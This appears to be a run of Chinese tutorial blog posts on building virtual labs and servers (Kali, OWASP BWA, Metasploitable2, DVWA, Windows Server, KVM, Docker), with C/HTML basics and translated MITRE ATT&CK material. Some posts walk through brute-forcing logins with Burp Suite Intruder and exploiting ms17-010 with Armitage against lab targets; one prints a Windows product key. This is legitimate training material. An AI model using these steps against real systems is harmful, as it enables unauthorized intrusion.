Sources [14.7 MB] Get:4 https://mirrors.ustc.edu.cn/kali kali-rolling/non-free Sources [129 kB] Get:5 https://mirrors.ustc.edu.cn/kali kali-rolling/contrib Sources [70.9 kB] Get:6 https://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 Packages [18.3 MB] Get:3 http://kali.download/kali kali-rolling InRelease [30.6 kB] Get:7 http://kali.download/kali kali-rolling/main amd64 Packages [18.3 MB] Get:8 https://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 Contents (deb) [42.5 MB] Get:9 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [42.5 MB] Get:10 http://kali.download/kali kali-rolling/contrib amd64 Packages [108 kB] Get:11 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [155 kB] Get:12 http://kali.download/kali kali-rolling/non-free amd64 Packages [224 kB] Get:13 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [952 kB] Get:14 https://mirrors.ustc.edu.cn/kali kali-rolling/non-free amd64 Packages [224 kB] Get:15 https://mirrors.ustc.edu.cn/kali kali-rolling/non-free amd64 Contents (deb) [952 kB] Get:16 https://mirrors.ustc.edu.cn/kali kali-rolling/contrib amd64 Packages [108 kB] Get:17 https://mirrors.ustc.edu.cn/kali kali-rolling/contrib amd64 Contents (deb) [155 kB] Fetched 139 MB in 30s (4,669 kB/s) Reading package lists... Done Building dependency tree... Done Reading state information... Done 228 packages can be upgraded. Run 'apt list --upgradable' to see them. 接下来输入apt upgrade 进行更新会更新全部的软件以及系统。在这里他会询问你是否要进行更新输入y回车即可
搭建OWASP靶机OWASP靶机下载地址https://sourceforge.net/projects/owaspbwa/files/由于下载地址在国外,速度很慢笔者上传到了阿里云盘(不限速),https://www.aliyundrive.com/s/79YqoGsMkWx大家下载之后在Vmware中打开即可选择.vmx文件打开点击开启此虚拟机选择我已复制该虚拟机账号名为root,密码为owaspbwa登陆后执行ip a查看ip地址这样我们的owasp靶机就已经搭建成功了。在浏览器输入靶机地址即可访问。点击+号即可查看靶场的详细信息。
1.Windows11下载地址https://www.microsoft.com/zh-cn/software-download/windows112.将Windows11上传至ESXi3.点击创建虚拟机选择创建新的虚拟机此选项将指导您完成创建新虚拟机的过程。您可以自定义处理器、内存、网络连接和存储。创建之后您需要安装客户机操作系统。填写虚拟机的相关信息选择虚拟机存储位置配置虚拟机的内存,CPU等开启虚拟机下一步现在安装选择我没有产品密钥选择你需要的版本弹出此电脑无法运行Windows11全新安装Windows 11跳过TPM检查HKEY_LOCAL_MACHINE\SYSTEM\Setup 创建一个名为“LabConfig”的项,在“LabConfig”下创建两个32位DWORD值: 键为“BypassTPMCheck”,值为“00000001” 键为“BypassSecureBootCheck”,值为“00000001”在安装 Windows 11 进入到以下阶段即“现在安装”按 Shift+F10 进入到命令提示符,添加注册表键值绕过 TPM 检查;如果你是从微软官方下载的 ISO 镜像则在提示需要输入密钥阶段进入到命令提示符;之后就可以正常安装了。REG ADD HKLM\SYSTEM\Setup\LabConfig /v BypassTPMCheck /t REG_DWORD /d 1修改完成后退回到上一步在点击下一步即可选择我接受下一步选择自定义直接下一步系统会自动分区安装完会自动重启即可
例如我们以一个简单的程序为例#include <stdio.h> int main() { int num; num = 1; printf("a simple program"); // 这是一行注释 /* 这是多行注释 */ }1.C语言的每一个语句都应该以分号结尾2.一个程序中只能有一个main函数3.C语言的错误一般有两种,为语法错误和语义错误4.单行注释以// 开头后面的内容为注释内容,是给人看的,程序不会执行。5.多行注释以/*开头以*/结尾,中间的内容为注释6.在Visual Studio中,按F9键可快速设置当前行为端点。F5编译并运行程序。7.Release 发行版更小做了优化,运行速度更快8.Debug 调试版 更大 优化更少 附带调试信息9.如果在本目录下寻找头文件就用双引号,如果使用系统的头文件就用<>
首先检查其是否支持虚拟化.分别用以下条命令查看grep --color --perl-regexp 'vmx | svm' /proc/cpuinfo其显示vmx或smx即表示支持虚拟化安装KVMroot@kvm:~# sudo apt install qemu-kvm libvirt-clients libvirt-daemon-system bridge-utils virtinst libvirt-daemon -y使用图形化 Debian 11 桌面的用户还可以安装Virt-Manager,这是一个由 RedHat 开发的图形用户界面,用于使用 KVM 以图形方式创建、管理和运行虚拟机。sudo apt install virt-manager -y安装Centos我们在Debian中打开Virtual Machine Manger点击flie > New Virtual Machine选择第一项选择Centos7的镜像文件点击继续在这里填写虚拟机的配置以及CPU内核数在这里设置磁盘大小点击完成即可创建成功接下来的安装就很简单的一路下一步即可
直接编辑 /etc/apt/sources.list 文件sudo vi /etc/apt/sources.list更改为这个deb https://mirrors.ustc.edu.cn/debian stable main contrib non-free # deb-src http://mirrors.ustc.edu.cn/debian stable main contrib non-free deb https://mirrors.ustc.edu.cn/debian stable-updates main contrib non-free # deb-src http://mirrors.ustc.edu.cn/debian stable-updates main contrib non-free # deb http://mirrors.ustc.edu.cn/debian stable-proposed-updates main contrib non-free # deb-src http://mirrors.ustc.edu.cn/debian stable-proposed-updates main contrib non-free然后执行sudo apt update更新软件源执行sudo apt upgraade更新系统
打开虚拟机创建新的虚拟机选择创建新的虚拟机选项配置如下开启虚拟机后选择安装开放麒麟语言选择选择时区填写用户名注记名和密码选择安装方式格式化磁盘
这个是来自freecodemap的学习题目,如果大家在作题时遇到困难可以在此查看<!DOCTYPE html> <html lang="en"> <head> <title>CatPhotoApp</title> </head> <body> <main> <h1>CatPhotoApp</h1> <section> <h2>Cat Photos</h2> <!-- TODO: Add link to cat photos --> <p>Click here to view more <a target="_blank" href="https://freecatphotoapp.com">cat photos</a>.</p> <a href="https://freecatphotoapp.com"><img src="https://cdn.freecodecamp.org/curriculum/cat-photo-app/relaxing-cat.jpg" alt="A cute orange cat lying on its back."></a> </section> <section> <h2>Cat Lists</h2> <h3>Things cats love:</h3> <ul> <li>cat nip</li> <li>laser pointers</li> <li>lasagna</li> </ul> <figure> <img src="https://cdn.freecodecamp.org/curriculum/cat-photo-app/lasagna.jpg" alt="A slice of lasagna on a plate."> <figcaption>Cats <em>love</em> lasagna.</figcaption> </figure> <h3>Top 3 things cats hate:</h3> <ol> <li>flea treatment</li> <li>thunder</li> <li>other cats</li> </ol> <figure> <img src="https://cdn.freecodecamp.org/curriculum/cat-photo-app/cats.jpg" alt="Five cats looking around a field."> <figcaption>Cats <strong>hate</strong> other cats.</figcaption> </figure> </section> <section> <h2>Cat Form</h2> <form action="https://freecatphotoapp.com/submit-cat-photo"> <fieldset> <legend>Is your cat an indoor or outdoor cat?</legend> <label><input id="indoor" type="radio" name="indoor-outdoor" value="indoor" checked> Indoor</label> <label><input id="outdoor" type="radio" name="indoor-outdoor" value="outdoor"> Outdoor</label> </fieldset> <fieldset> <legend>What's your cat's personality?</legend> <input id="loving" type="checkbox" name="personality" value="loving" checked> <label for="loving">Loving</label> <input id="lazy" type="checkbox" name="personality" value="lazy"> <label for="lazy">Lazy</label> <input id="energetic" type="checkbox" name="personality" value="energetic"> <label for="energetic">Energetic</label> </fieldset> <input type="text" name="catphotourl" placeholder="cat photo URL" required> <button type="submit">Submit</button> </form> </section> </main> <footer> <p> No Copyright - <a href="https://www.freecodecamp.org">freeCodeCamp.org</a> </p> </footer> </body> </html>
我们利用虚拟化首先安装一台Centos7,并关闭防火墙和selinuxCentos7的安装域配置打开Vmware点击创建新的虚拟机选择典型选择linux centos7下一步填写虚拟机的名称,由于笔者使用esxi如果使用vmware的话还需要选择存储路径分配磁盘空间大小在这里建议不低于100GB配置以下其他硬件设置设置内存大下,在这里建议不低于8GB,最好16GB。在此配置CPU内核数建议不低于4核心,并开启CPU虚拟化,由于ESXI必须安装完成后才能开启,读者如果使用VMware可以直接在此配置在此选择Centos7的镜像文件完成后开机安装即可在此选择语言在这里笔者选择英语,建议是英语,读者也可以根据自己的情况进行选择在此先选择软件在此选择带桌面环境和开发工具选择磁盘分区进入后直接点击完成即可选择网络点击开启默认是关闭的(图示为关闭的样子)完成后点击开始安装即可安装时配置以下root密码即可安装完成后点击restart重启即可同意协议关闭防火墙vim /etc/sysconfig/selinux 重启后配置生效查看CPU是否支持虚拟化技术cat /proc/cpuinfo | grep -E 'vmx|svm'安装KVMuname -r yum install qemu virt librbdl-devel -y
VSCode下载下载地址https://code.visualstudio.com/打开后选择相应的版本进行下载,例如我是Ubuntu版本他会自动识别我的系统,推荐相应的版本点击下载即可在linux下安装比较麻烦,而在windows下直接一路下一步即可在ubuntu下的安装打开ia文件所在目录,在终端中打开hao@hao-ubuntu:~/下载$ sudo dpkg -i code_1.73.0-1667318785_amd64.deb [sudo] hao 的密码: 正在选中未选择的软件包 code。 (正在读取数据库 ... 系统当前共安装有 182409 个文件和目录。) 准备解压 code_1.73.0-1667318785_amd64.deb ... 正在解压 code (1.73.0-1667318785) ... 正在设置 code (1.73.0-1667318785) ... 正在处理用于 mailcap (3.70+nmu1ubuntu1) 的触发器 ... 正在处理用于 gnome-menus (3.36.0-1ubuntu3) 的触发器 ... 正在处理用于 desktop-file-utils (0.26-1ubuntu3) 的触发器 ... 正在处理用于 shared-mime-info (2.1-2) 的触发器 ...设置为中文重启后即可设置完成添加文件夹点击我信任使用VSCode开发第一个页面新建一个html文件,在文件中输入一个感叹号!回车即可补全代码请注意,一定一定要使用英文输入法我们在这里更改title这一栏中的文字<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>我的第一个VScode页面</title> </head> <body> </body> </html>在body页面的中间加入center即可在网页中间显示内容例如<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>我的第一个VScode页面</title> </head> <body> <center>我的第一个网页</center> </body> </html>浏览器打开文件即可看到我们的设置扩展推荐auto rename tag这个插件是用于改正错误的,因为大部分的html标签都成对出现如果第一个打错了,修改时需要修改两个,而这个就是在修改第一个标签时,自动修改第二个标签快速预览插件view-in-browser安装完成后右键即可看到view in browser按键点击即可在浏览器中打开实时预览插件live server安装完插件后右键即可看到live server
1.2.1 Threat Intelligence 威胁情报如何开始使用 ATT&CK?旨在回答四个关键用例的问题:**威胁情报检测和分析对手仿真和红队评估和工程**ATT&CK 对于任何想要转向以威胁为导向的防御的组织都非常有用,因此我们希望分享有关如何开始的想法,无论您的团队多么复杂。我们将把这些帖子分成不同的级别:**Level 1 适用于那些刚开始可能没有很多资源的人Level 2 中级团队开始成熟Level 3适用于更高级的网络安全团队和资源**我们从谈论威胁情报开始,因为它是最好的用例2018 年,我对如何使用 ATT&CK 推进网络威胁进行了高级概述情报(CTI)。 在本章中,我将以此为基础,分享一些实用的入门建议。LEVEL 1网络威胁情报就是要知道你的对手做了什么并使用它的信息以改进决策。对于一个只有几个分析师想要开始使用 ATT&CK 进行威胁情报的组织,您可以开始的一种方法是选择一个您关心的小组,并按照 ATT&CK 的结构查看他们的行为。您可以根据我们在网站上映射的组中选择一个组他们以前针对的组织。 或者,许多威胁情报订阅供应商也映射到 ATT&CK,因此您可以使用他们的信息作为参考。https://attack.mitre.org/groups/示例:如果您是一家制药公司,您可以在我们的搜索栏中搜索或在我们的群组页面上确定 APT19 是一个针对您所在行业的群组从那里,您可以调出该组的页面以查看他们使用的技术(仅基于我们绘制的开源报告),因此您可以了解更多关于他们。 如果您因为不熟悉而需要有关该技术的更多信息,请不要担心——它就在 ATT&CK 网站上。 您可以对每个我们使用该组映射的软件样本,我们在ATT&CK 网站。示例:APT19 使用的一种技术是注册表运行键/启动文件夹https://attack.mitre.org/groups/G0073/ https://attack.mitre.org/techniques/T1547/001/那么,我们如何使这些信息具有可操作性,这就是威胁情报的全部意义所在?让我们与我们的捍卫者分享它,因为这是一个针对我们部门的团体,我们想要防御他们。执行此操作时,您可以查看 ATT&CK 网站以获取一些想法,以帮助您开始使用检测和缓解技术。示例:让您的防御者了解 APT19 使用的特定注册表运行密钥。但是,他们可能会改变这一点并使用不同的运行密钥。 如果您查看有关该技术的检测建议,您会看到一个建议是监视注册表以查找您不希望在您的环境中看到的新运行键。 这将是与你的防守者进行的一次很棒的对话。
总共有14个方面分别为侦察,资源开发,初始访问,执行,持久性,权限提升,防御规避,凭证访问,发现,横向运动,收藏,命令与控制,渗出,影响。而侦查又分出了10个小的分类分别为Active Scanning,Gather Victim Host Information, Gather Victity Identity, Gather Victim Network Information , Grather Victim Org Information,Phishing for Information, Search Closed Sources, Search Open Technical Databases,Search Open Websites/Domains , Search Victim-Owned Websites,翻译过来就是主动扫描,收集受害者主机信息,收集Victity身份,收集受害者网络信息,受害者组织信息,网络钓鱼信息,搜索闭源,搜索开放技术数据库,搜索开放网站/域,搜索受害者拥有的网站.
1.首先安装VMwareTools由于笔者是在esxi主机下进行的安装所以需要安装一下VMwareTools,如果在物理机安装可以省略此步骤。2.配置主机名和静态IP点击本地服务器,点击有DHCP分配的IPV4,IPV6已启用超链接双击Ethernet0,点击属性按钮双击Internet协议版本4(TCP/IPV4)按照自己的网络填写相关IP地址与DNS服务在服务器管理窗口点击计算机名后的超链接修改计算机名在弹出的系统属性窗口中点击更改按钮在此填写计算机名配置完成后需重新启动才能修改创建用于共享文件的用户在服务器管理器中点击工具,计算机管理选择本地用户和组,用户选项,右键点击新用户填写用户名和密码并配置相关策略选择要共享的文件夹右键属性,点击共享,高级共享勾选共享此文件夹,点击权限点击添加输入名称点击检查,确定为用户设置权限
1.域的简要介绍Windows中的域是个逻辑概念,指的是通过某一台服务器控制网络上的其他计算机能否加入域的计算机组合。在域模式下,至少每台接入网络的计算机和用户的身份验证工作都有一台服务器负责,相当于门卫,称为域控制器(Domain Controller,简称DC)使用Active Directory服务的域控制器称为AD DC。域模式用于C/S架构的网络2.开始域的安装在启动WindowsServer2012后,会自动启动服务器管理器,在主页面点击添加角色或功能在 弹出的界面点击下一步选择基于角色或基于功能安装,下一步在此选择,从服务器池中选择服务器,选择ADserver服务器,下一步双击选择Active Directory,点击添加功能。 选择下一步在这个页面不需要选择任何功能,直接下一步即可选择下一步点击安装即可开始部署安装完成后点击关闭此页面,点击服务器管理器右上角的小旗子配置AD服务点击将此服务器提升为域控制器,这是我们的第一台域服务器,所以我们选择添加新林,填写域名为mysys.local在此设置目录服务还原模式密码,在此笔者设置为p-0p-0p-0在WindowsServer2012中安装Active Directory学要安装DNS服务,但由于“mysys.local”没有注册,同时本计算机也没有指定DNS服务器,所以会出现“无法创建该DNS服务器的委派.....”的警告,不用理会,点击下一步即可。在NetBios页面会自动填写域名的名称默认即可。在此设置文件的为位置一般默认即可下一步点击安装即可安装完成后会自动重启重启后安装完成
WindowsServer2012支持两种用户账户:域账户和本地账户。域账户可以登录到域上获得访问域的权限,本地账户只能登陆特定的计算机,并访问该计算机上的资源。1.创建本地用户账户在服务器管理器中选择工具》计算机管理点击本地用户和组,用户在用户文件夹右键选择新用户填写用户名和全名并设置密码,密码应符合密码复杂度,点击创建。2.设置用户账户的属性创建完成后双击新建的用户可以看到可以设置的属性在此不进行过多的介绍3.创建本地用户组同理组在用户的下面右键选择新建组,设置相关信息此时我们的组就已经创建完成4.账户策略在工具中选择本地安全策略可以在此设置密码相关策略例如如果关闭密码必须符合复杂性要求,那么所创建的用户就不必需要满足密码复杂性
在1.0我们已经在VMware中安装了WindowsServer2012系统在此我们做一些简单的基本配置1.1.1安装VMwareTools在VMwareWorkation中选择虚拟机安装VMwareTools在文件资源管理器中打开VMwareTools选择下一步选择完整安装下一步点击安装点击完成选择否1.1.2配置计算机名在计算机处右键点击属性点击更改设置在此填入ADServer(将在后面作为域控制器),填入ADServer选择稍后重新启动,在我们整体配置完成后手动进行重启1.1.3设置固定IPV4地址打开控制面板点击属性双击IPV4配置IPV4和DNS地址具体配置需要根据自己的网络环境进行配置,抄写笔者的不一定可以1)在任务栏右下角往上滑动鼠标,会出现设置,点击后出现电源,选择关机2)按住ALT+F4组合键,选择关机3)按住ALT+CTRL+DELETE组合键,调出任务管理器,选择关机至此配置完成重启后生效
春考-网络服务器配置-1.0WinodwsServer2012安装下载WinodwsServer2012系统镜像文件名 cn_windows_server_2012_x64_dvd_915588.iso SHA1 BA658A9875DA5F02869B6B205B3D8EE26160FE0F 文件大小 3.56GB 发布时间 2012-09-04 ed2k://|file|cn_windows_server_2012_x64_dvd_915588.iso|3826081792|6A56281311F9FE6973F66CF36E2F50BE|/镜像资源来自于MSDN镜像站在VMware中安装,笔者演示的是基于VMware的企业化产品ESXI8.0的安装选择创建新的虚拟机下一步填写相关信息配置完成后开启虚拟机选择下一步选择现在安装在这里需要填写激活码J7TJK-NQPGQ-Q7VRH-G3B93-2WCQD在此选择第二项带有GUI的服务器选择我同意许可选择自定义选择下一步已开始安装安装完成后会自动重启在此设置管理员的密码学包含大小写字母和特殊符号和数字安装完成后点击
1.Docker的简介Docker官方对于Dcoker的介绍是Develop faster. Run anywhere.更快的开发运行在任何地方。以下是Docker官方的介绍Docker 使开发高效且可预测Docker 消除了重复的、单调的配置任务,并在整个开发生命周期中使用,以实现快速、简单和便携的应用程序开发 - 桌面和云。Docker 全面的端到端平台包括 UI、CLI、API 和安全性,旨在在整个应用程序交付生命周期中协同工作。构建通过利用 Docker 映像在 Windows 和 Mac 上高效开发您自己的独特应用程序,在编码方面抢占先机。 使用 Docker 撰写创建多容器应用程序。在整个开发管道中与你最喜欢的工具集成 – Docker 可与你使用的所有开发工具(包括 VS 代码、CircleCI 和 GitHub)配合使用。2.Docker的安装在Centos7中安装非常简单直接执行yum install -y docker安装完成后启动Docker,systemctl start docker在最新的Docker官方文档中已经没有命令行版本的docker而是集成到了Dcoker Desktop之中。3.配置Docker源由于我们经常需要从Docker Hub下载镜像,所以我们需要配置阿里云的镜像源在阿里云中搜索容器镜像服务,选择镜像加速器,按照要求进行配置即可。针对Docker客户端版本大于 1.10.0 的用户 您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["你的加速器网址"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker
1.环境搭建山东省春考C语言所使用的代码编辑器为DevC++所以我们也使用此款编辑器DevC++下载地址:https://sm.myapp.com/original/Development/Dev-Cpp_5.11_TDM-GCC_4.9.2_Setup.exe下载完成后双击安装程序开始安装出现如下选择是即可点击OK选择时无中文但安装完成后会自动改为中文选择I aggreenextinstall点击finish即可启动DevC++选择简体中文继续继续选择OK2.C语言的基本语法首先在开始编程前需要创建一个源代码文件文件》新建》源代码或使用快捷键Ctrl+N在编程时应使用英文输入法首先我们编写我们第一个C语言程序#include <stdio.h> main() { printf("Hello,World"); getchar(); }首先我们先执行此段代码后续为大家讲解代码的含义 按F11运行我们可以看到此段代码在屏幕中输出了一个Hello,world语句所以我们现在解释一下这段代码的含义2.1注释注释是用来解释代码的内容的是给人看的,程序运行时会忽略注释C语言注释的方法有两种第一种:单行注释//注释内容//后面加上注释内容即为注释一直到本行结束第二种:多行注释/* 注释内容 注释内容 注释内容 注释内容 */多行注释以/*开始,以*/结束注释不能嵌套例如下面的注释就是错误的/* 这是一个错误的示例 /* */ */2.2代码规则每一句代码结束后需要加上分号,每一个程序都必须有一个且只能有一个主函数main,一行可以写多句代码,每句代码后必须加上分号。2.3对此段代码的解释#include <stdio.h> //引用标准输入输出库函数因为后面使用的printf函数包含在此不引用无法使用 main() //定义main函数 { printf("Hello,World"); //输出Hello,World getchar();//输入任意字符,因为C语言在执行完成后会自动关闭所以在此起一个截停的作用 }
1.下载Ubuntu镜像Ubuntu推荐的系统配置推荐的系统配置要求:双核2 GHz处理器或更高4 GB系统内存25 GB磁盘存储空间可访问的互联网光驱或USB安装介质1.1从Ubuntu官方下载镜像官方链接:https://cn.ubuntu.com/download/desktop打开链接点击下载即可1.2从镜像站中下载镜像由于Ubuntu的网站在国外下载速度较慢可以在各大高校的镜像站中下载例如USTC镜像站(https://mirrors.ustc.edu.cn/)和TUNA镜像站2.安装Ubuntu如果在物理机安装则需要将镜像刻录到U盘中,可以使用rufus。在此笔者演示在虚拟机中安装笔者所使用的平台为ESXI7.0在控制台中选择创建/注册虚拟机选择创建新的虚拟机下一步在此填写虚拟机的相关信息再设置虚拟机的配置以及选择镜像开机时选择第一项试用并安装Ubuntu并回车进入进入安装界面后在左侧选择语言并安装Ubuntu在此选择键盘布局默认即可在这里选择安装类型按照你的需求来划分磁盘在此我选择清除整个磁盘选择继续选择时区设置用户名密码等待安装即可至此安装完成出现这个界面回车即可3.安装完成后的配置3.1更换国内源打开软件与更新应用在这里下拉找到其他选项选择最佳服务器测试完成后会自动选择直接点击选择服务器即可关闭时点击重新载入3.2更新在终端中执行sudo apt upgrade即可更新更新时会要求输入用户密码(不会显示位数,防窥)询问是否要执行输入Y回车代表执行,N代表不执行在此需输入Y
靶场环境Pikachu攻击机KALI工具BurpSuite1.打开并设置BurpSuite的代理首先依次点击Proxy-Intercept在监听的IP前打上勾在浏览器中设置代理,以Kali自带的Firefox为例首先点击右边的三条横线-选择Settings可以在浏览器的设置中将语言改为中文选择General-Language-Set选择添加一项语言找到简体中文后点击ADD-OK这样即可改为中文在常规页面最下方选择网络设置如果您是默认配置的话按我的设置即可2.开启BurpSuie的代理在软件中选择Proxy-Intercept-Intercept is off,点一下即可变成on访问127.0.0.1:8080我们还需要导入BP的证书点击即可下载下载完成后选择设置-隐私与安全-查看证书选择导入证书选择刚下载的证书打开并信任此证书配置完成后我们先关闭BP的拦截打开靶场地址并开启拦截在此随便填写几个数据抓一下包在这里笔者填写admin123456进行抓包,这样容易识别输入完成后即可在BP中看到所抓到的数据包在此数据包的最后一行我们可以看到我们输入的帐号和密码我们在此界面右键将数据包发送到Intruder模块这样就可以在Intruder模块中看到所抓到的数据包在此使用两个s相叠的符号表示密码,在此BP已经自动设置了几个像密码的参数,但并不准确,而我们需要清理掉Clear我们选中密码区域点击add即可添加添加字典开始攻击即可
在VMware中选择创建新的虚拟机选择典型,下一步操作系统选择Windowswindowsserver2016填写虚拟机名称分配硬盘大小选择自定义硬件选择ISO镜像单击完成创建完成后点击开启此虚拟机选择下一步点击现在安装在这里可以选择我没有产品密钥选择你要的版本点击下一步在这里说明以下如果没有选择带桌面体验的安装完成后就没有桌面环境选择我接受协议选择自定义安装下一步等待安装完成即可安装完成后会重启设置系统密码完成后即可进入系统需要用到虚拟机,发送crtl+alt+del安装完成后安装VmwareTools
下载metasploitable2靶机Metasploitable2靶机下载:https://pan.baidu.com/s/1SE1xoRtXMsrj_34FJQXT2Q提取码:810r下载之后解压。在VMware中打开即可这样就打开了如果大家需要将靶机上传到ESXI服务器中,可以选择升级此虚拟机点击下一步选择ESXI6.5选择第二项,下一步。点击完成点击关闭连接到ESXI文件》》连接服务器填写服务器的IP账号和密码连接即可选择仍然连接选择记住登录信息在metasploitable2虚拟机选择界面依次点击虚拟机>管理>上载选择连接到的服务器点击下一步填写相关信息开始上传等待进度条走完即可至此搭建完成
kali安装Armitagekail在新的版本中并没有自带Armitage,所以需要安装┌──(kali㉿kali)-[~] └─$ sudo apt install armitage [sudo] password for kali: Reading package lists... Done Building dependency tree... Done Reading state information... Done The following packages were automatically installed and are no longer required: libabsl20210324 libev4 libfmt8 libhttp-server-simple-perl libilmbase25 liblerc3 libopenexr25 libpoppler118 libpython3.9-minimal libpython3.9-stdlib libsvtav1enc0 libwebsockets16 python3-dataclasses-json python3-limiter python3-marshmallow-enum python3-mypy-extensions python3-responses python3-spyse python3-token-bucket python3-typing-inspect python3.9 python3.9-minimal sphinx-rtd-theme-common Use 'sudo apt autoremove' to remove them. The following NEW packages will be installed: armitage 0 upgraded, 1 newly installed, 0 to remove and 26 not upgraded. Need to get 4,972 kB of archives. After this operation, 11.5 MB of additional disk space will be used. Get:1 https://mirrors.ustc.edu.cn/kali kali-rolling/main amd64 armitage all 20220123-0kali3 [4,972 kB] Fetched 4,972 kB in 1s (3,897 kB/s) Selecting previously unselected package armitage. (Reading database ... 318227 files and directories currently installed.) Preparing to unpack .../armitage_20220123-0kali3_all.deb ... Unpacking armitage (20220123-0kali3) ... Setting up armitage (20220123-0kali3) ... Processing triggers for kali-menu (2022.4.1) ... 安装完成后在应用程序中即可看到Armitage打开即可,打开后点击连接即可选择yes即可打开我将演示使用Armitage对win7的ms17-010漏洞进行渗透搜索ms17-010漏洞选择攻击模块,设置目标信息攻击成功可以看到已经可以成功渗透
部分资料来源与ATT&CK官方网站为什么创建 ATT&CKMITRE 于 2013 年启动 ATT&CK,以记录高级持续性威胁对 Windows 企业网络使用的常见策略、技术和程序 (TTP)。ATT&CK 的创建是为了记录在名为 FMX 的 MITRE 研究项目中使用的对手行为。FMX 的目标是研究使用端点遥测数据和分析来改进对企业网络内攻击者的入侵后检测。此处记录了大部分工作:使用基于 ATT&CK 的分析和网络分析存储库查找威胁。根据我们的研究,我们决定需要一个框架来解决四个主要问题:敌对行为。专注于对手的策略和技术使我们能够开发分析来检测可能的对手行为。诸如域、IP 地址、文件哈希、注册表项等典型指标很容易被攻击者更改,并且仅对时间点检测有用——它们不代表攻击者如何与系统交互,只是它们可能在某些情况下交互时间。不适合的生命周期模型。现有的对手生命周期和网络杀伤链概念过于高级,无法将行为与防御联系起来——抽象级别对于将 TTP 映射到新型传感器没有用处。适用于真实环境。TTP 需要基于观察到的事件,以表明该工作适用于真实环境。通用分类法。TTP 需要使用相同的术语在不同类型的对手群体之间进行比较。我们坚信进攻是防守的最佳驱动力。通过保持强大的进攻和防御团队协同工作,组织检测和阻止入侵的能力大大提高。在 FMX 中,ATT&CK 是用于构建对手仿真场景的框架。仿真团队使用这些场景将受现实世界启发的活动注入网络。然后,该团队使用测试来验证传感器和分析是否能够检测生产网络中的对抗行为。该方法导致检测能力的快速提高,最重要的是,以可测量和可重复的方式。ATT&CK 成为对手仿真团队计划事件和检测团队验证其进度的首选工具。对于 MITRE 的研究计划来说,这是一个非常有用的过程,我们认为应该发布它以造福整个社区,因此 MITRE 于 2015 年 5 月向公众发布了 ATT&CK。此后,ATT&CK 已显着扩展,以包含针对 macOS 和 Linux 的技术、使用的行为攻击者针对移动设备的攻击,以及攻击前规划和执行操作的策略。什么是ATT&CK?ATT&CK 主要是对抗性技术的知识库——可用于针对特定平台(如 Windows)的攻击性行为的细分和分类。与该领域的先前工作不同,重点不是攻击者使用的工具和恶意软件,而是他们在操作期间如何与系统交互。ATT&CK 将这些技术组织成一套策略,以帮助解释为该技术提供上下文。每种技术都包含与红队或渗透测试人员相关的信息,以了解技术工作的本质,也与防御者相关,以了解使用中的技术生成的事件或工件的上下文。战术代表了 ATT&CK 技术的“为什么”。战术是对手执行某项行动的战术目标。战术作为对单个技术有用的上下文类别,涵盖了对手在操作期间所做的事情的标准、更高级别的符号,例如持久化、发现信息、横向移动、执行文件和泄露数据。技术代表了对手“如何”通过执行行动来实现战术目标。例如,攻击者可能会转储凭证以获得对网络内有用凭证的访问权,这些凭证可以稍后用于横向移动。技术也可以代表对手通过执行动作获得的“什么”。这对于发现策略来说是一个有用的区别,因为这些技术突出了对手通过特定行动所追求的信息类型。实现战术目标可能有多种方法或技术,因此每个战术类别中都有多种技术。ATT&CK™ 矩阵战术和技术之间的关系可以在 ATT&CK 矩阵中可视化。例如,在策略Persistence(这是对手的目标——在目标环境中持久化)下,有一系列技术,包括AppInit DLLs、New Service和Scheduled Task。其中每一个都是攻击者可以用来实现持久性目标的单一技术。ATT&CK 矩阵可能是 ATT&CK 最广为人知的方面,因为它通常用于显示环境的防御覆盖范围、安全产品的检测能力以及事件或红队参与的结果。网络威胁情报ATT&CK 的另一个重要方面是它如何集成网络威胁情报 (CTI)。与之前主要用于指标的消化 CTI 的方法不同,ATT&CK根据公开可用的报告记录对手群体的行为概况,例如APT29 ,以显示哪些群体使用了哪些技术。通常,个人报告用于记录一个特定事件或组,但这使得难以比较事件或组之间发生的情况并得出关于哪种类型的防御最有效的结论。使用 ATT&CK,分析师可以通过专注于技术本身来查看不同组的活动。在决定如何集中防御资源时,分析师可能希望从具有最高群体使用率的技术开始。在其 ATT&CK 页面中记录了特定对手如何使用技术的示例,该页面代表了该组织使用该技术的程序。该过程是一个特定的使用实例,对于准确了解该技术的使用方式以及通过对手仿真复制事件以及有关如何检测使用中的实例的细节非常有用。ATT&CK 今天在哪里在过去五年中,ATT&CK 已显着扩展,从 Windows 扩展到其他平台和技术。许多不同的政府组织和行业部门都在使用它,包括金融、医疗保健、零售和技术。公众采用和使用已导致对 ATT&CK 的重大贡献,以使其保持最新并对社区有用。我们希望继续这一趋势,因此MITRE 制定了保持 ATT&CK 发展的宏伟计划,以确保其未来成为宝贵的公共资源。继续这个系列现在我们已经介绍了一些基础知识,您可以期待未来的博客文章,这些文章会更详细地介绍本文所涵盖的主题。我们将讨论 ATT&CK 与网络威胁情报、基于行为的检测分析和对手仿真以及其他领域的使用。
下载地址链接:https://pan.baidu.com/s/1QCqk1b5rpSWQwzHw54aikg提取码:2k01注意所有安装路径不得含有中文,安装直接使用默认选项即可首先安装相关的依赖Winpcap安装wireshark安装virtualbox安装ensp至此安装完成
kali官方开发了dvwa的集成环境执行sudo apt install dvwa进行安装执行dvwa-start运行dvwa靶场kali会自动打开浏览器输入默认的账号密码adminpassword点击创建数据库即可登录即可查看靶场信息可以在dvwa security中设置靶场的安全级别停止dvwa靶场执行dvwa-stop
